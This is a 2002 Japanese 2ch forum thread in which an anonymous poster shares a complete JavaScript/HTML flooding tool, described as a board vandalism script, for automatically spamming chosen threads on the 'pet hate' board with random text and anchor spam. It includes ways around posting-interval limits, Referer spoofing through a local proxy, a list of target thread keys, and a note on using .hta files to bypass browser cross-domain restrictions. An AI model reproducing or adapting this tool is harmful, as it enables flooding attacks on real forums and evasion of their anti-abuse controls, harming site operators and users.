75 :
あぼーん :
02/02/03 10:49 ID:??? ペット大嫌い板荒らしスクリプト2 ------------------------------ここから post3.html --------------------------------------------------------- <HTML> <frameset rows="220,100,*"> <frame src="post3_1.html" name="cont" application="yes"> <frame name="msgmod"> <frame src="post3_2.html" name="form"> </frameset> </HTML> ------------------------------ここから post3_1.html ------------------------------------------------------- <HTML> <BODY onLoad="init()"> <script language="JavaScript"> <!------ var keys; var keyi; var postcount; var postcount2; var loopcount; var starttime; var time; function init(){ document.forms[0].keys.value="1009171579\n988369627\n993465322\n1011283637\n993797789\n1008952490\n1003741528\n1001910900\n1009544356"; loadmsgmod(); } function loadmsgmod(){ parent.msgmod.location=document.forms[0].msgmod.value; //メッセージ生成HTMLを読み込む } function main(){ keys=document.forms[0].keys.value.split("\n"); //フォームからスレkeyを得る //変数の初期化 keyi=0; postcount=0; postcount2=0; threadcnt=0; loopcount=0; starttime=new Date; //開始ボタンが押された時間 countdown(); } function countdown(){ //カウントダウンを表示 var now=new Date; //現在時間を得る var elapsed; elapsed = (now-starttime)/1000; if (elapsed > document.forms[0].timer.value){ //経過時間をチェック jmp(); return; } document.forms[0].status.value="攻撃開始まで"+Math.floor(document.forms[0].timer.value-elapsed)+"[sec]"; //フォームに表示 stopper=setTimeout ("countdown()",100); }
76 :
あぼーん :02/02/03 10:50 ID:???
function jmp(){ var now=new Date; //現在時間を得る if (now/1000 - (starttime/1000 + parseInt(document.forms[0].timer.value)) > parseInt(document.forms[0].atime.value) && parseInt(document.forms[0].atime.value) !=0) //攻撃時間で指定された時間攻撃したら終了 return; parent.form.location="post3_2.html"; //下のフレームを投稿用ページにする stopper=setTimeout("post()",1000); //ここで少し待たないと次の処理で下フレームのフォームに書き込めないエラーになる } function post(){ //メッセージ生成モジュール呼び出し str=parent.msgmod.MakeMessage(); //下フレームのフォームに値を転送 parent.form.document.forms[0].bbs.value = document.forms[0].bbs.value; parent.form.document.forms[0].key.value = keys[keyi]; parent.form.document.forms[0].FROM.value = document.forms[0].FROM.value; parent.form.document.forms[0].mail.value = document.forms[0].mail.value; parent.form.document.forms[0].MESSAGE.value = str; if (!document.forms[0].consttime.checked || postcount==0){ //同一スレッド内でtimeを固定するかしないか var now=new Date; //現在時間を得る var old=new Date(2002,0,30); //2002/01/30の日付オブジェクトを生成 time=parseInt(document.forms[0].time.value) + Math.floor((now-old)/1000); //timeを計算 } parent.form.document.forms[0].time.value = time; parent.form.document.forms[0].submit.click(); //下フレームの投稿ボタンを押す loopcount++; //post回数を累計 document.forms[0].status.value=loopcount+"回postしました。"+" Thread:"+keys[keyi]+" time:"+time; //Statusを表示 postwait=5000; //post間隔 postcount++; //1スレ連続投稿数をカウント postcount2++; //連続投稿総数をカウント if (postcount==document.forms[0].posts.value){ //1スレ連続投稿数になったら postcount=0; keyi++; //次のスレに移る } if (postcount2 == document.forms[0].posts2.value){ //連続投稿総数になったら postcount2=0; postwait = document.forms[0].wait.value * 1000; //連続投稿規制時間で指定された秒数待つ } if (keyi==keys.length || keys[keyi].length<5) //スレkeyのリストで改行などがあったら最初のスレに戻る keyi=0; stopper=setTimeout("jmp()",postwait); //jmp()とループを形成 } function stop(){ //攻撃停止ボタンで終了 clearTimeout(stopper); } function makemsg(){ parent.form.document.forms[0].MESSAGE.value = parent.msgmod.MakeMessage(); //下のフォームに文字列を書き込む } //------> </script>
77 :
あぼーん :02/02/03 10:55 ID:???
<FORM>
荒らしたいスレのkey(改行で区切る)<BR>
<TEXTAREA name=keys rows=5 wrap=off cols=20 value=aff></TEXTAREA>2002/01/30 00:00:00のtime:<INPUT size=15 name=time value=1012316401>同一スレッド内でtimeを固定:<INPUT type="checkbox" name=consttime><BR>
攻撃開始待ち時間[sec]:<INPUT size=6 name=timer value=0>攻撃時間(0で無限):<INPUT size=6 name=atime value=0><BR>
板名:<INPUT size=15 name=bbs value="cat">1スレ連続投稿数:<INPUT size=4 name=posts value=1> 連続投稿総数:<INPUT size=4 name=posts2 value=9>連続投稿規制時間[sec]:<INPUT size=6 name=wait value=2000><BR>
名前:<INPUT size=19 name=FROM value="あぼーん"> E-mail:<INPUT size=19 name=mail value="sage">
メッセージ生成HTML:<INPUT name=msgmod value="anchortag.html"><INPUT type="button" value="Load" onClick="loadmsgmod()"><INPUT type="button" value="手動生成" onClick="makemsg()"><BR>
<INPUT type="button" value="攻撃開始" onClick="main()"><INPUT type="button" value="攻撃停止" onClick="stop()">
Status:<INPUT size=100 name=status>
</FORM>
</BODY>
</HTML>
----------------------------------------ここから post3_2.html --------------------------------------------
<HTML>
<BODY>
このフレームには書き込む必要はありません。<BR>
<SCRIPT defer type=text/javascript><!--
function l(e){
var N=g("NAME"),M=g("MAIL"),i;
with(document)
for(i=0;i<forms.length;i++)
if(forms[i].FROM&&forms[i].mail)
with(forms[i]){
FROM.value=N;mail.value=M;
}
}
onload=l;
function g(key,tmp1,tmp2,xx1,xx2,xx3,len){
tmp1=" "+document.cookie+";";
xx1=xx2=0;
len=tmp1.length;
while(xx1<len){
xx2=tmp1.indexOf(";",xx1);
tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)
return unescape(tmp2.substring(xx3+1,xx2-xx1-1));
xx1=xx2+1;
}
return "";
}
//--></SCRIPT>
<FORM action=
http://tmp.2ch.net/test/bbs.cgi method=post>
<INPUT type=submit value=書き込む name=submit>
名前: <INPUT size=19 name=FROM>
E-mail<FONT size=1> (省略可) </FONT>: <INPUT size=19 name=mail><BR>
<TEXTAREA name=MESSAGE rows=5 wrap=off cols=70></TEXTAREA><BR>
bbs<INPUT name=bbs>
key<INPUT name=key>
time<INPUT name=time>
78 :
あぼーん :02/02/03 10:56 ID:???
</FORM> </BODY> </HTML> --------------------------------------------random.html------------------------------------------------------------- <HTML> <BODY> ランダム文字列を生成<BR> <script language="JavaScript"> <!------ function MakeMessage(){ //文字列を生成 var str = ""; for (var l=0; l < document.forms[0].lines.value; l++){ for (var r=0;r < document.forms[0].rows.value;r++){ str+= unescape(String.fromCharCode(Math.random()*0x5e+0x21)); } if (l != document.forms[0].lines.value-1) str+="\n" } return str; } //------> </script> <FORM> 行数:<INPUT name=lines value=19>桁数:<INPUT name=rows value=186> </FORM> </BODY> </HTML> --------------------------------------------anchortag.html------------------------------------------------------------- <HTML> <BODY> >>文字列を生成 <script language="JavaScript"> <!------ function MakeMessage(){ //文字列を生成 var str = ""; for (var l=0; l < document.forms[0].lines.value; l++){ for (var r=0;r < document.forms[0].rows.value;r++){ rnd=Math.floor(Math.random()*100); //>>か文字かを決定 if (rnd < document.forms[0].tagprob.value){ res=Math.floor(Math.random() * document.forms[0].resrange.value) + parseInt(document.forms[0].resmin1.value); //レス番号を生成 str+= ">>" + res; for (var figure=0,rndb=res; rndb>=1; figure++) //レス番号の桁数を数える rndb/=10; r+=78+figure; //>>はdat上で約78byteになる }
79 :
あぼーん :02/02/03 10:58 ID:???
else{
chr=Math.floor(Math.random()*(0x0f+0x45)); //数字以外の文字列を生成
if (chr<0x0f)
chr+=0x21;
else
chr+=0x2b;
str+=unescape(String.fromCharCode(chr));
r++;
}
}
if (l != document.forms[0].lines.value-1)
str+="\n"
}
return str;
}
//------>
</script>
<FORM>
行数:<INPUT name=lines value=5>1行当たりデータ量:<INPUT name=rows value=1200><BR>
>>率[%]:<INPUT name=tagprob value=50>レス番範囲:<INPUT name=resrange value=100>最低レス番:<INPUT name=resmin1 value=1>
</FORM>
</BODY>
</HTML>
--------------------------------------------EOF-------------------------------------------------------------
2ch用自動投稿スクリプトです。これはローカルから投稿するので、refererを偽装する必要があり、まず
Proxomitron(
http://proxomitron.org/ )をダウンロードして起動し、"Edit Filters"の"Headers"の、
Referer: Hide where we've been (Out)の左のOutチェックボックスを有効にし、EditしてURL
Matchを*,Header Value Matchを空欄に、Replacement textを\uにします。次にブラウザのプロクシを、
"127.0.0.1:8080"に設定すればProxomitronの偽装フィルタリングがかかります。ただ文字列を生成して
手動でコピペするのならReferer偽装はいりません。手動生成ボタンを押すだけです。
そして、上のhtmlをメモ帳にコピペしてそれぞれ----内に書いてあるファイル名で保存し、荒らしたいスレの
key欄にスレッドのURLの
http://tmp.2ch.net/test/read.cgi/cat/**********/ の**********の部分を貼り
付けます。複数のスレを指定するときは改行で区切ります。また、フォームのtimeの値を計算して投稿するので、
同じスレに連続投稿ができます。攻撃開始待ち時間は攻撃開始をクリックしてから実際に書き込みが開始される
までの時間で、攻撃時間は書き込みを始めてから終わるまでの時間です。1スレ連続投稿数は1つのスレッドに連続
して書き込む回数で、他のスレも含めて連続投稿総数の数だけ投稿したら連続投稿規制時間の秒数だけ待ちます。
メッセージを生成する部分をモジュール化しました。メッセージ生成HTML欄に、random.htmlやanchortag.html
と入れて、Loadを押してください。真ん中のフレームにメッセージ生成HTMLが読み込まれます。
下のフレームのフォームは特にいじらなくてもよいです。
厨房板やペット大嫌い板では、>>付きの番号がdat上で約80byteになります。anchortag.htmlではこれを計算して
います。
メッセージ生成HTMLにはMakeMessageが入っていて、これは上のフレームから呼び出されて、文字列を生成し、
生成した文字列を返す仕様です。いろいろ作ってみてもよいでしょう。
これがペット大嫌い板の凶悪なスレのkeyです。
1009171579
988369627
993465322
1011283637
993797789
1008952490
1003741528
1001910900
1009544356
1009312739
987511060
80 :
あぼーん :02/02/03 10:59 ID:???
1002553564 1005176736 996497513 997237985 1008523626 1001662000 997854692 1000874226 990152767 1001671675 997833725 995371681 1011124743 1008895478 994501864 996868082 1008465919 1007111604 994596389 1001607201 998371802 985872796 995035279 994015773 995123059 995075992 986660135 998139907 1011186587 995015847 991230973 994842059 1008494729 998801116 994293933 995127113 993907424 995030209 1010658886 1009339229 1010738811 1012101206 997188236 992358437 995039249 995897752 1012438789 1012482101 1012117582 1012495704 1012630312 1012687338 別フレームを2chのスレのURLに移動させ、そこのフォームに制御用フレームからフォームに自動記入して書き込む ボタンを押すようにすると、ブラウザのセキュリティで別ドメインのフレームのフォームにアクセスできませんが、 トップのフレーム記述HTMLの拡張子をhtaにすると、HTML Applicationとして別ドメインのページもいじれることが 分かりました。そこで、次はreferer偽装が必要なく、書き込み成功を確認するタイプを作ってみようと思います。 UPするのが大変だ...
81 :
あぼーん :02/02/03 11:10 ID:???